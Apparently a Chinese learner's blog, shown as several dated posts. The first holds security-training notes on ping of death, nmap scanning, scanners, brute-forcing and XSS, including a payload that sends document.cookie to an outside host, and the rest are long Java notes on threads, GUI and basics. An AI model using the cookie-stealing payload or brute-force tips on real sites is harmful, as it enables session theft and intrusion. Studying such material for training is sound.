死亡之ping（过去在网吧干不过隔壁，瞄一眼隔壁的ip，掏出这个软件，隔壁的内存就炸了（每被ping一次会开辟64k空间），现在已经有过滤了）


nmap最常用的模式 In scan, all TCP ports
(nmap -p 1-65535 -T4 -A -v)

漏洞扫描
针对主机：nusssus（付费）
针对web：wvs，appscan（一键生成中文报告）（开着这个扫，然后手工找，如果手工找不到就交它的报告）（一般选“缺省值”，如果对方已经完成备份，可以随便破坏，就选“入侵式”）
openaws

HTTP请求
GET 获取
HEAD 仅获取头部
POST 向服务器发送数据
PUT 将请求的主体部分存储在服务器上
TRACE
OPTIONS 
DELETE

爆破字典：C:/tools/字典相关
不做机器学习的话只能想到把admin和123456固定，然后爆破验证码

学会了一个token反爆破的爆破方法：https://blog.csdn.net/qq_34376868/article/details/88426478
https://www.cnblogs.com/ApricityJ/p/12628962.html


xss


<script>
document.write(
'<img src="http://10.1.11.250:8023?'+
document.cookie+
'"/>'
)
</script>

xss训练网站：https://xss.haozi.me/#/0x00
答案：https://blog.csdn.net/n5xxxx__zy/article/details/95524120

alert(1) 和 alert`1` 效果相同
也可以用这个方法代替<svg><script>alert&#40;1&#41;</script>

onmousemove=alert(1)  然后把鼠标移上去就会触发

0x04有一个真实的xss漏洞  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>

蚁剑可以换别的编码器试试

买了一大堆防火墙的硬件设备，结果领导说密码太难记，就全是123456

一个成绩查询网站，领导不知道从哪里听说的，用数据库会造成注入漏洞，所以要求员工“一定不能用数据库”
员工直接？？？
最后写了一个前端脚本，把所有信息直接当到前端，只是把它们都隐藏了，别人查到哪个就显示哪个
整个省的数据直接泄露了


"<script>alert(1)</script>"

展开全文 >>

pte课程（基础复习）

2022-01-15

展开全文 >>

Java-多线程笔记

2022-01-12

继承Thread类：
1.自定义线程类继承Thread
2.重写run()方法
3.创建此案城对象，调用start()方法启动线程（以子线程的方式运行run()方法，所以并不会有start()方法的定义）
(不建议使用：避免OOP单继承的局限性)

package com.kuang.lesson01;

import java.net.SocketOption;

public class TestTread1 extends Thread {
    @Override
    public void run() {
        //run方法线程体
        for(int i=1;i<=20;i++)
        {
            System.out.println("123");
        }

    }

    public static void main(String[] args) {
        //main主线程
        TestTread1 testTread1 = new TestTread1();
        testTread1.start();//调用start()方法开启线程

        for(int i=1;i<=2000;i++)
        {
            System.out.println("456");
        }
        //运行时会发现，输出123是在456之间进行的

    }
}

下载网图：
https://www.bilibili.com/video/BV1V4411p7EF?p=4

Runnable接口：
用Thread类来调用start()
好处：方便用一个对象被多个线程调用

package com.kuang.lesson01;

import java.net.SocketOption;

public class TestTread1 implements Runnable{
    @Override
    public void run() {
        //run方法线程体
        for(int i=1;i<=20;i++)
        {
            System.out.println("123");
        }

    }

    public static void main(String[] args) {
        //main主线程
        TestTread1 testTread1 = new TestTread1();
        Thread thread=new Thread(testTread1);
        thread.start();//调用start()方法开启线程
        //简写：new Thread(new TestTread1()).start();

        for(int i=1;i<=2000;i++)
        {
            System.out.println("456");
        }
        //运行时会发现，输出123是在456之间进行的

    }
}

问题：多个线程操作同一个资源的情况下，线程不安全，数据紊乱（线程并发问题）

1	new Thread(race,"兔子").start();//可以在开启线程的时候给线程起名

在run()中用Thread.currentThread().getName()可以调用本线程的名字
用Thread.currentThread().getName().equals("兔子")可以验证线程的名字（若为“兔子”则返回true）
用Thread.sleep(100);来睡眠100毫秒
try……catch一般是产生容易出现问题的操作的时候，系统提示要添加的，读代码的时候可以忽略

Callable接口：
1.实现Callable接口，需要返回值类型
2.重写call方法，需要抛出异常
3.创建目标对象
4.创建执行服务：ExecutorService ser = Executors.newFixedThreadPool(1);
5.提交执行：Future result1 = ser.submit(t1);
6.获取结果：boolean r1 = result1.get();
7.关闭服务：ser.shutdownNow();

import org.apache.commons.io.FileUtils;
import java.io.File;
import java.io.IOException;
import java.net.URL;
//JUC并发编程
import java.util.concurrent.*;
public class TestCallable implements Callable<Boolean> {
    private String url;
    private String name;
    public TestCallable(String url,String name){
        this.url = url;
        this.name = name;
    }
    @Override
    public Boolean call() throws Exception {
        //下载图片
        WebDownloader webDownloader = new WebDownloader();//下载器
        webDownloader.downloader(url,name);//下载文件的方式
        System.out.println("下载了图片-->"+name);
        return true;
    }
    //启动线程
    public static void main(String[] args) throws ExecutionException, InterruptedException {
        TestCallable t1 = new TestCallable("https://blog.kuangstudy.com/usr/themes/handsome/usr/img/sj/1.jpg","你好1.jpg");
        TestCallable t2 = new TestCallable("https://blog.kuangstudy.com/usr/themes/handsome/usr/img/sj/2.jpg","你好2.jpg");
        TestCallable t3 = new TestCallable("https://blog.kuangstudy.com/usr/themes/handsome/usr/img/sj/3.jpg","你好3.jpg");
        //创建执行服务：
        ExecutorService ser = Executors.newFixedThreadPool(3);
        //提交执行：
        Future<Boolean> result1 = ser.submit(t1);
        Future<Boolean> result2 = ser.submit(t2);
        Future<Boolean> result3 = ser.submit(t3);
        //获取结果
        boolean r1 = result1.get();
        boolean r2 = result2.get();
        boolean r3 = result3.get();
        //判断线程是否顺利结束或者有异常
        System.out.println(r1);
        System.out.println(r2);
        System.out.println(r3);
        //关闭服务
        ser.shutdownNow();
    }
}
//下载图片
class WebDownloader{
    //下载方法
    public void downloader(String url,String name){
        try {
            FileUtils.copyURLToFile(new URL(url),new File(name));
        } catch (IOException e) {
            e.printStackTrace();
            //输出异常信息
            System.out.println("downloader方法出现异常");
        }
    }

}

Lamda表达式（一步步简化的过程）：
定义接口:inertface
1.函数式接口
2.实现类
3.静态内部类
4.局部内部类
5.匿名内部类
6.lambda简化

package com.kuang.lambda;

public class Test01 {

    //静态内部类
    static class Test02 implements Runnable{
        @Override
        public void run() {
            System.out.println("你好呀lambda！");
        }
    }


    public static void main(String[] args) {
        Test02 test02 = new Test02();
        new Thread(test02).start();

        //局部内部类
        class Test03 implements Runnable{
            @Override
            public void run() {
                System.out.println("你好呀lambda2！");
            }
        }

        Test03 test03 = new Test03();
        new Thread(test03).start();


        //匿名内部类, 需要有一个接口或者父类
        new Thread(new Runnable() {
            @Override
            public void run() {
                System.out.println("你好呀lambda3！");
            }
        }).start();//一般是调用lambda表达式（.lambda();）

        //lambda  jdk.8新增方式
        new Thread(()->{
            System.out.println("你好呀lambda4！");
        }).start();//一般是调用lambda表达式（.lambda();）


    }
}

package com.kuang.lambda;


//lambda表达式前提
//必须是函数式接口.
//必须有返回值(就是那个函数式接口)

public class Test02 {

    public static void main(String[] args) {
        //lambda表达式
        ILike like = ()->{
            System.out.println("我讨厌lambda。。。。5");
        };

        like.lambda();

    }
}


//函数式接口
interface ILike{
    void lambda();
}

简化参数：

package com.kuang.lambda;


//lambda表达式传递参数
//隐式前提

// 只有一个参数的情况下,可以简化参数类型 , 参数括号 .
// 只有一行代码的情况下 , 可以省略大括号 .

public class Test03 {
    public static void main(String[] args) {
        ILove love = new Love();
        love.lambda(1);

        //匿名内部类
        love = new ILove() {
            @Override
            public void lambda(int a) {
                System.out.println("我开始喜欢lambda了...."+a);
            }
        };
        love.lambda(2);


        //lambda表达式
        love = (int a)->{
            System.out.println("我开始喜欢lambda了...."+a);
        };
        love.lambda(3);


        //简化1: 去掉括号
        love = a->{
            System.out.println("我开始喜欢lambda了...."+a);
        };
        love.lambda(4);


        //简化2:去掉花括号
        love = a->System.out.println("我开始喜欢lambda了...."+a);

        love.lambda(5);

    }
}


//函数式接口
interface ILove{
    void lambda(int a);
}

class Love implements ILove{
    @Override
    public void lambda(int a) {
        System.out.println("我开始喜欢lambda了...."+a);
    }
}

线程的五大状态：
1.创建状态
2.就绪状态
3.运行状态
4.阻塞状态
5.死亡状态

1–>2:启动线程
2–>3:获得CPU资源
3–>2:释放CPU资源
3–>4:等待程序输入、线程休眠等（sleep等）
4–>2:阻塞接触
3–>5:程序执行完毕

setPriority()：更改线程优先级
static void sleep()：线程休眠
void join()：等待线程终止
static void yield()：暂停当前线程，并执行其他线程
void interrupt()：中断线程（别用）
boolean isAlive()：测试线程是否活动

停止线程：
1.stop()、destroy()方法（JDK提供的，不推荐，已废弃）
2.线程自己停下来
3.使用一个标志位进行终止变量（flag=false时）
比如：某线程的运行是在while(flag)中的，那么想让线程结束则修改flag为false（写一个方法）

线程休眠：
.Sleep(x);//x毫秒的停止
sleep存在异常，最好抛出（try……catch）
每个对象都有一把锁，sleep不会释放锁

线程礼让：
.yield();
当本线程在运行的时候，暂时停止，让cpu重新调度（选择某个线程进行，但是还是有可能让本线程继续运行）

线程强制执行：
.join();
作用：强制停止主线程的内容，先运行run()的内容（所选中子线程），然后再运行主线程的内容

观测线程状态：
.getState();(虽然输出的时候是下面的单次，但是如果要做==和！=比较的时候，是和THREAD.State.TERMINATED这样的比较)
NEW：还未启动
RUNNABLE：正在jvm中运行，但是可能正在等待操作系统的其他资源
BLOCKED：受阻塞，并且正在等待监视器锁
WAITING：处于等待状态的线程，正在等待另一个线程执行特定的操作
TIMED_WAITING：正在等待另一个线程执行动作达到指定等待时间
TERMINATED：已退出的线程

线程优先级：
.setPriority();
线程优先级高，则权重大（但是并不是必须先被调用，还是看cpu的分配）(性能倒置)
默认是最大10，最小1，默认给5
先设置优先级再启动

守护线程：deamon
.setDeamon(true);//默认是false表示是用户线程，正常都是用户线程。设为true后，当所有用户线程结束后守护线程自动停止
线程分为用户线程和守护线程
必须等待用户线程执行完毕，不用等待守护线程执行完毕

线程不安全机制：
并发问题：多线程访问通对象并要更改的情况。————》解决方法：等待机制，进入对象的等待池，形成队列+锁
锁机制：synchronized（易造成性能倒置，但是为了安全）
如：后台操作日志，内存监控，垃圾回收等待

不安全案例：
1.抢票的时候，出现多个人买到同一张票的情况
2.有人拿到了-1和0（多个线程在走到判断那一步的时候都是大于0的，然后分别在判断之后取值-1，就有人取到了0，-1的值）（特别是判断和操作之间有sleep的情况）（同样的情况也会造成银行取钱后余额为负数）
3.可能会把两个数组添加到同一个位置（list.add()操作）

补一个javaSE忽略的知识：
创建集合

1
2
3

List<String> list = new ArrayList<String>();//创建一个字符串集合
list.add("cacsaca");//添加一个字符串进去
list.size();//集合大小

线程不安全的解决方法：
同步方法和同步块：
一.锁：synchronized(Obj){}
1.同步方法：加关键字：synchronized
作用：（我的理解）保证所添加的方法只有一个线程在运行，所以应该锁在增删改查的对象
2.锁块：synchronized(Obj){}
锁的块是变化的量，然后把变化用代码放到里面。
作用：（我的理解）凡是带有synchronized(account){}的内容，只有一个线程能运行
二.直接用安全类（JUC类）
例1：

package com.kuang.syn;

public class SafeBuyTicket implements Runnable {

    //票数
    private int ticketNums = 10;
    //标志位
    private boolean flag = true;

    @Override
    public void run() {
        //买票
        while (flag) {
            buyTicket();
        }
    }

    //同步方法,关键词synchroinzed.

    //关键字是锁
    //实现的机制是队列

    //还能所反射的那个class

    public synchronized void buyTicket() {
        if (ticketNums <= 0) {
            flag = false;
            return;
        }

        //模拟网络延时
        try {
            Thread.sleep(200);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        System.out.println(Thread.currentThread().getName() + "-->拿到了第" + ticketNums-- + "张票");
    }


    public static void main(String[] args) {
        SafeBuyTicket station = new SafeBuyTicket();

        new Thread(station,"苦逼的我").start();
        new Thread(station,"牛逼的你们").start();
        new Thread(station,"可恶的黄牛党").start();

    }
}

例2：

package com.kuang.syn;

public class SafeBank {


    public static void main(String[] args) {
        Account2 account = new Account2(100,"招商卡");

        Bank2 you = new Bank2("痛苦的你",account,50);
        Bank2 wife = new Bank2("开心的媳妇",account,100);

        you.start();
        wife.start();
    }
}

//账户
//实体类
class Account2{
    int money;//余额
    String name; //卡名

    public Account2(int money, String name) {
        this.money = money;
        this.name = name;
    }
}


//银行
class Bank2 extends Thread{
    //存钱:存了多少,取钱:取了多少

    Account2 account;  //账户
    int drawingMoney; //取了多少钱
    int nowMoney; //手里有多少钱

    public Bank2(String name,Account2 account,int drawingMoney){
        super(name);
        this.account = account;
        this.drawingMoney = drawingMoney;
    }

    @Override
    public void run() {
        drwaing();
    }

    //synchronized本身锁的是this.就是这个对象本身
    public void drwaing(){

        //提高性能的代码
        if (account.money<=0){
            return;
        }

        //如何判断锁的对象
        // 谁需要实现增删改就去锁定他
        synchronized (account){

            //判断能否取钱
            if (account.money-drawingMoney<0){
                System.out.println(Thread.currentThread().getName()+"活该,没取到钱");
                return;
            }

            //为了放大问题发生性,我们加个延时.
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }

            //余额 = 余额 - 你去走的钱
            account.money = account.money - drawingMoney;
            //你的钱 = 你的钱 + 你取的钱
            nowMoney = drawingMoney + nowMoney;

            System.out.println(this.account.name+"账户余额:"+account.money);
            System.out.println(this.getName()+"手里的钱:"+nowMoney);
        }

    }
}

死锁：
两个或多个线程互相等待对方的资源，造成都在等待
例：解释：两个都抱着自身的锁，只有运行完才能解锁，但是只有对方解锁才能继续运行（锁的嵌套）

package com.kuang.gaoji;

//死锁问题
//两个线程抱着自己的锁 , 然后想要对方的锁 .
// 于是产生一个问题 ---> 死锁
public class DeadLocked {

    public static void main(String[] args) {
        Makeup g1 = new Makeup(0,"白雪公主");
        Makeup g2 = new Makeup(1,"灰姑凉");

        new Thread(g1).start();
        new Thread(g2).start();

    }


}

//化妆
class Makeup implements Runnable{

    //选择
    int choice;
    //谁进来了
    String girlName;

    //两个对象
    static LipStick lipStick = new LipStick();
    static Mirror mirror = new Mirror();

    public Makeup(int choice,String girlName){
        this.choice = choice;
        this.girlName = girlName;
    }

    @Override
    public void run() {
        //化妆
        try {
            makeup();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    //化妆的方法
    public void makeup() throws InterruptedException {
        if (choice==0){ //先拿口红,再拿镜子
            synchronized (lipStick){
                System.out.println("拿到口红");
                Thread.sleep(1000);
                //等待拿镜子的人释放锁
                synchronized (mirror){
                    System.out.println("拿到镜子");
                }
            }

        }else { //先拿镜子 , 再拿口红
            synchronized (mirror){
                System.out.println("拿到镜子");
                Thread.sleep(2000);
                //等待拿口红的人释放锁
                synchronized (lipStick){
                    System.out.println("拿到口红");
                }
            }
        }

    }

}
//口红
class LipStick{

}

//镜子
class Mirror{

}

解决方法：把代码块拿出来

Lock（锁）：JDK5.0开始出现
java.util.concurrent.locks.Lock包

import java.util.concurrent.locks.ReentrantLock;

public class TestLock {
    public static void main(String[] args) {
        HelloWorld helloWorld = new HelloWorld();

        new Thread(helloWorld).start();
        new Thread(helloWorld).start();

    }
}


class HelloWorld implements Runnable{

    int ticketNums = 100;
    //可重入锁
    private final ReentrantLock lock = new ReentrantLock();

    @Override
    public void run() {
        while (true){

            try {
                lock.lock(); //加锁
                //判断是否有票
                if (ticketNums>0){
                    try {
                        Thread.sleep(100);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                    System.out.println(ticketNums--);
                }else {
                    break;
                }
            } finally {
                lock.unlock();//解锁
            }

        }

    }

}

线程通信：
wait();
等待，与sleep不同，会释放锁
notify();
处于等待唤醒的状态

线程池：
corePoolSize：核心池的大小
maximumPoolSize：最大线程数
keepAliveTime：线程没有任务时最多保持多长时间后会终止

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

//使用线程池
public class ThreadPool{

    public static void main(String[] args) {

        //创建一个线程池(池子大小)
        ExecutorService pool = Executors.newFixedThreadPool(10);

        //执行runnable接口实现类
        pool.execute(new MyThread4());
        pool.execute(new MyThread4());
        pool.execute(new MyThread4());
        pool.execute(new MyThread4());

        //关闭连接池
        pool.shutdown();

    }

}

class MyThread4 implements Runnable{
    @Override
    public void run() {
        System.out.println("MyThread4");
    }
}

展开全文 >>

Java-GUI笔记

2022-01-11

很多外挂都用java写，因为java是运行在java虚拟机上（jvm），检测不到，它只能检测到jvm在运行，它又不可能删掉jvm，但是用c写的话它就可以直接检测到exe了

不过快淘汰了

GUI核心开发技术：Swing,AWT（不流行原因：界面不美观、需要jre环境）

学习原因：这是MVC的基础，写带图形界面的小工具，工作时极小概率需要维护swing
我：毕竟要学android编程和逆向

Frame frame=new Frame("我的第一个java图形界面窗口"); //设置标题
frame.setVisible(true); //设置可见性
frame.setSize(400,400); //设置窗口大小
frame.setBackground(new Color(120, 29, 29));//设置背景颜色(idea点击数字旁边的颜色块可以直接在色板选色)
frame.setLocation(200,200);//弹出的初始位置
frame.setResizable(false);//设置大小固定(true就是不固定大小)


//监听事件，监听窗口关闭
//适配器模式
frame.addWindowListener(new WindowAdapter() {
    //窗口点击关闭的时候需要做的事情
    @Override
    public void windowClosing(WindowEvent e) {
        //结束程序
       System.exit(0);//返回码为0（正常关闭)，如果为其余数就是错误码
     }
});

然后就是可以自己做一个frame

import java.awt.*;

public class TestFrame2 {
    public static void main(String[] args) {
        new MyFrame(100,100,200,200)

//监听事件，监听窗口关闭
//适配器模式
Myframe.addWindowListener(new WindowAdapter() {
    //窗口点击关闭的时候需要做的事情
    @Override
    public void windowClosing(WindowEvent e) {
        //结束程序
       System.exit(0);//返回码为0（正常关闭)，如果为其余数就是错误码
     }
});

    }
}

class MyFrame extends Frame {
    static int id=0; //可能存在多可窗口，所以创建一个计数器
    public MyFrame(int x,int y,int w,int h){
        super("Myframe"+(++id));//调用父类(修改父类）,每new一次id会自增1，然后打印
        setVisible(true); //设置可见性
        setSize(w,h); //设置窗口大小
        setBackground(new Color(120, 29, 29));//设置背景颜色(idea点击数字旁边的颜色块可以直接在色板选色)
        setLocation(x,y);//弹出的初始位置
        //或者直接用setBounds(x,y,w,h);
        setResizable(false);//设置大小固定(true就是不固定大小)


    }
}

Panel面板：

package com.kuang.lesson01;

import java.awt.*;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.awt.event.WindowListener;

public class TestFrame {
    public static void main(String[] args) {
        Frame frame = new Frame();

        Panel panel = new Panel(); //布局

        frame.setLayout(null); //设置布局（不设置这一步会默认置顶）

        frame.setBounds(200,200,500,500);
        frame.setBackground(new Color(40,161,35));

        panel.setBounds(50,50,400,400); //设置相对坐标（相对于frame）
        panel.setBackground(new Color(193,15,60));

        frame.add(panel);//添加panel到frame

        frame.setVisible(true); //设置可见


        //监听事件，监听窗口关闭
        //适配器模式
        frame.addWindowListener(new WindowAdapter() {
            //窗口点击关闭的时候需要做的事情
            @Override
            public void windowClosing(WindowEvent e) {
                //结束程序
               System.exit(0);//返回码为0（正常关闭)，如果为其余数就是错误码
            }
        });
    }
}

按钮

Frame frame = new Frame();
Button button1=new Button("button1");//按钮组件
frame.setLayout(new FlowLayout());//设置流式布局（可以加参数），作用就是根据窗口的大小摆放按钮等，比如窗口过小就将按钮自动放到下一排
frame.add(button1);//添加按钮

frame.setLayout(new FlowLayout());
流式布局（截取自：https://www.jianshu.com/p/4a6e5162e4ee ）
移动端一般采用流式布局(百分比布局)

高度定死,宽度自适应
对于大的轮播图等,宽度100%自适应
对于小图标挥着文本,一般都是固定宽高大小
流式布局的缺点: 对于大屏幕来说,用户体验并不是特别好,有些布局元素会显得很长
解决方案: rem布局(宽高自适应)
经典的流式布局
左侧固定,右侧自适应
右侧固定左侧自适应
两侧固定,中间自适应(圣杯布局)
等分布局

还有“东西南北中”和“表格”的布局

也可以使用frame.pack();，作用是自动选中最合适的布局

事件监听

public class TestFrame {
    public static void main(String[] args) {
        Frame frame = new Frame();
        Button button=new Button();//按钮组件

        //因为addActionListener()需要一个ActionListener，所以我们需要构造一个ActionListener
        MyActionListener myActionListener=new MyActionListener();

        button.addActionListener(myActionListener);//监听鼠标运行方法
        frame.setVisible(true);//可视化
    }
}

class MyActionListener implements ActionListener{
    @Override
    public void actionPerformed(ActionEvent e) {
        System.out.peintln("aaa");
    }
}

文本监听

TextField textfield = new TextField();
frame.add(textfield);//创建文本框
textfield.addActionListener();//监听文本输入（按下enter触发）


testfield.setEchoChar("*");//输入内容全部展示为*，可以用作密码的输入

然后在所调用的函数（MyActionListener方法的actionPerformed函数）中获取输入内容：

1 2	TextField field = (TextField) e.getSource(); //获得一些资源 System.out.println(field.getText());//打印文本框内输入的内容

画笔paint事件
（MyActionListener方法的paint函数）

public void paint(Graphics g){
	//画笔
	g.setColor(Color.red);
	g.drawOval(100,100,100,100);
}

监听鼠标键盘
重写：（类名为MyFrame）
this.MouseListener(MyMouseListener);

//适配器模式
private class MyMouseListener extends MouseAdapter{
	@Override
	public void mousePressed(MouseEvent e){ //e中存着鼠标按下时的坐标，用e.getX(),e.getY()来取
		MyFrame frame = (MyFrame) e.getSource();
		new Point(e.getX(),e.getY());
	}
}

刷新：frame.repaint();

窗口监听：写WindowAdapter类
可以用setVisible(false);//隐藏窗口,System.exit(0);//正常退出
（但是这里用了隐藏窗口之后其实是一直在运行的，但是却无法再打开这个窗口了，而因为java的特性所有的东西都在jvm虚拟机中运行，进程中只会看见一个jvm，完全可以用来当木马来使用）

键盘监听：

frame.addKeyListener(new KeyAdapter(){
	@Override
	public void keyPressed(KeyEvent e){
		//获得键盘下的键是哪一个
		e.getKeyCode();//获取键盘的码
	}

	});

（学完p20，后面的实操略）

展开全文 >>

Java笔记

2022-01-10

复习：

Java三大版本
JavaSE：标准版（桌面程序，控制台开发……）（入门）
JavaME：嵌入式开发（手机，小家电）（几乎没人用了）
JavaEE：E级企业级开发（web端，服务器开发）

JDK：开发
JRE：运行环境
JVM：java虚拟机
JDK包含JRE，JRE包含JVM

java文件：
文件后缀.java

编译命令：
javac Hello.java
(生成Hello.class文件)

运行Hello.class文件：
java Hello

第一个java程序：

public class Hello{
	public static void main(String[] args){
		System.out.print("Hello,world!");
	}
}

注意：
1.大小写敏感
2.尽量用英文
3.文件名和类名一致

语言分类：
编译型
解释型
(区别（我的理解)：编译型就是先编译成可执行文件，然后运行文件（如c），解释型就是根据程序直接运行（如python），解释型更方便但是浪费运算，java两种都可以）

idea：
创建后在src文件夹后写代码
打上psvm回车会自动生成

1
2
3

public static void main(String[] args){

	}

sout –> System.out.println();

语法：
1.注释：
// /* */
有趣的代码注释：https://blog.csdn.net/ydk888888/article/details/81563608

2.标识符：

（只能字母、美元符、下划线开头，不能作为方法名，大小写敏感）
（不能用数字开头，但神奇的是，竟然能用中文开头做变量名！包括类名。感觉可以利用这个特性搞死外国程序员……）

3.数据类型：
（强类型语言）
基本数据类型：
byte
soert
int
long
float
double
char
boolean （true或false，不能用数字，默认false）
引用数据类型：
类
接口
数组

4.类型转换
容量：低—————>高
byte,short,char->int->long->float->double

强制类型转换（高->低）

1 2	int i=128; byte b=(byte)i; //内存溢出

自动转换（低->高）

1 2	int i=128; double b=i; //内存溢出

注意：
1.不能对bool值进行转换
2.不能转换成不相干的类型
3.可能遇到内存溢出和精度问题

static 类变量
final 常量，不允许改变（只能赋值一次）

运算符：
主要注意位运算符的用法（逻辑）

Math库运用例：
Math.abs(); //绝对值

包机制：
package（放到最上面）
路径
package后面的是src下面到当前文件所在文件夹的路径
语法格式：
package pkg1[．pkg2[．pkg3…]];
如

package net.java.util;
public class Something{
   ...
}

的路径为net/java/util/Something.java

导入包：

（可以用通配符```*```来导入某个包中的所有文件）

认真看阿里巴巴java开发手册！

javadoc（生成api文档，可以看用了哪些方法）（暂时略过了）

流程控制：
输入：

Scanner s=new Scanner(System.in);
if(s.hasNext()){ //判断是否有输入，也可以使用s.hasNextLine()
String str=s.next(); //获取下一串字符串（到空格等截止），也可以使用s.nextLine()，接收一整行
System.out.println(str); //输出字符串
}
s.close() //用完关掉，节约空间

next():
1.读取到有效字符才会结束输入
2.自动去掉前面的空格
3.到空格和结束符结束
nextLine():
1.以回车为结束符
2.可以获得空白
hasNextInt():
判断后续还有没有整数（也可以判断别的类型）
int f=s.nextInt():
接收整数

if/while/dowhile/for/break/continue和c++一样
for有个补充：
遍历数组
```for(int number:numbers)```

方法：
```System.out.ptintln()```(类.对象.方法)

```public static int add(int a,int b){}```

命令行传参
```args.length```传入字符串数量

public static void main(String[] args) {
for(int i=0;i<args.length;i++){
System.out.println(args[i]);
}
}


可变参数：
在方法声明中，在指定参数类型后加三个点(...),只能在最后一个参数

数组：

dataType[] array; //首选方法,dataType可为int等
//或dataType array[]; //效果相同不首选
//还需要定义大小（分配空间)
dataType[] array = new dataType[arraysize];
array.lenth //求数组长度
//给数组赋值
array[1]=1

```
多维数组
int[][] array;

arrays类：
导入：import java.util.Arrays;
各种数组操作的类
如Arrays.tostring() :将数组转换为字符串

面向对象：
（面向对象编程（OOP），面向对象（OO））
封装
继承
多态

定义方法
public String hello(){}

继承
extents

super(访问父类的属性)
this(访问类中的变量，如果什么都不加就是访问方法里的变量)

instanceof(类型转换)（判断两个类之间是否存在父子关系）

abstract(抽象类)（只能被继承，不能实例化）

接口：专业的约束，约束和现实分离：面向接口编程
interface （取代class）
类实现接口 implements

展开全文 >>